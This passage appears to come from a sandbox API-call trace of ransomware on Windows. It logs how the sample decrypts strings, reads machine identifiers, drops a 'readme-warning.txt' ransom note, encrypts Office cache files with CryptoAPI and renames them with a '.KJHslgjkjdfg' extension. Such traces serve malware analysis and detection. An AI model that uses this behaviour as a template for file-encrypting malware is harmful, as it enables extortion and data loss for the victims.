hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0136.629] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0136.630] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.630] GetProcessHeap () returned 0x2a0000 [0136.630] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0136.630] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0136.630] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0136.630] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.630] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0136.630] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0136.630] RegCloseKey (hKey=0x124) returned 0x0 [0136.630] GetProcessHeap () returned 0x2a0000 [0136.630] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0136.630] GetProcessHeap () returned 0x2a0000 [0136.630] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0136.630] GetProcessHeap () returned 0x2a0000 [0136.630] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0136.630] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0136.630] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0136.630] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.630] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0136.630] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0136.631] GetProcessHeap () returned 0x2a0000 [0136.631] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0136.631] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0136.631] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0136.631] GetProcessHeap () returned 0x2a0000 [0136.631] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0136.631] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0136.631] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.632] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0136.634] CloseHandle (hObject=0x124) returned 1 [0136.635] GetProcessHeap () returned 0x2a0000 [0136.635] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0136.635] GetProcessHeap () returned 0x2a0000 [0136.635] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0136.635] GetProcessHeap () returned 0x2a0000 [0136.635] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0136.635] GetProcessHeap () returned 0x2a0000 [0136.635] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0136.635] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0136.635] GetProcessHeap () returned 0x2a0000 [0136.635] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0136.635] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0136.636] GetProcessHeap () returned 0x2a0000 [0136.636] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0136.636] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0136.638] GetProcessHeap () returned 0x2a0000 [0136.638] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0136.638] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.639] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0136.639] GetProcessHeap () returned 0x2a0000 [0136.639] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0136.639] GetProcessHeap () returned 0x2a0000 [0136.639] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2ed148 [0136.639] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0136.640] GetProcessHeap () returned 0x2a0000 [0136.640] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0136.640] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.640] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0136.640] GetProcessHeap () returned 0x2a0000 [0136.640] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x29a) returned 0x2c7d50 [0136.640] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0136.640] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0136.640] GetProcessHeap () returned 0x2a0000 [0136.640] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d50 | out: hHeap=0x2a0000) returned 1 [0136.640] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0136.640] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.641] GetProcessHeap () returned 0x2a0000 [0136.641] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.641] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.642] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0136.642] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xb, lpOverlapped=0x0) returned 1 [0136.644] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.644] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.644] GetProcessHeap () returned 0x2a0000 [0136.644] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0136.644] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0136.644] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.644] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0136.644] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.644] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0136.644] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0136.645] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.645] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.645] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.645] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.645] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.645] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x91975, lpOverlapped=0x0) returned 1 [0136.651] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x91980, dwBufLen=0x91980 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x91980) returned 1 [0136.659] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.659] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x91980, lpOverlapped=0x0) returned 1 [0136.661] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.661] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x91a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.661] SetEndOfFile (hFile=0x124) returned 1 [0136.664] GetProcessHeap () returned 0x2a0000 [0136.665] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0136.665] GetProcessHeap () returned 0x2a0000 [0136.665] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.665] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.kjhslgjkjdfg")) returned 1 [0136.666] CloseHandle (hObject=0x124) returned 1 [0136.666] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0136.666] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0136.666] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0136.666] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0136.666] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.667] GetProcessHeap () returned 0x2a0000 [0136.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.667] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.667] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0136.668] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xf, lpOverlapped=0x0) returned 1 [0136.670] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.670] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.670] GetProcessHeap () returned 0x2a0000 [0136.670] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x60) returned 0x2c22b0 [0136.670] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c22b0*, pdwDataLen=0x290f4e0*=0x60, dwBufLen=0x60 | out: pbData=0x2c22b0*, pdwDataLen=0x290f4e0*=0x60) returned 1 [0136.670] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.670] WriteFile (in: hFile=0x124, lpBuffer=0x2c22b0*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c22b0*, lpNumberOfBytesWritten=0x290f4f8*=0x60, lpOverlapped=0x0) returned 1 [0136.670] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.670] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0136.670] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0136.670] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.670] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.670] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.671] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.671] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.671] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x741, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x741, lpOverlapped=0x0) returned 1 [0136.671] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x750, dwBufLen=0x750 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x750) returned 1 [0136.671] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.671] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x750, lpOverlapped=0x0) returned 1 [0136.671] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.671] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.671] SetEndOfFile (hFile=0x124) returned 1 [0136.674] GetProcessHeap () returned 0x2a0000 [0136.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0136.674] GetProcessHeap () returned 0x2a0000 [0136.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.674] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.kjhslgjkjdfg")) returned 1 [0136.676] CloseHandle (hObject=0x124) returned 1 [0136.677] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0136.677] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, 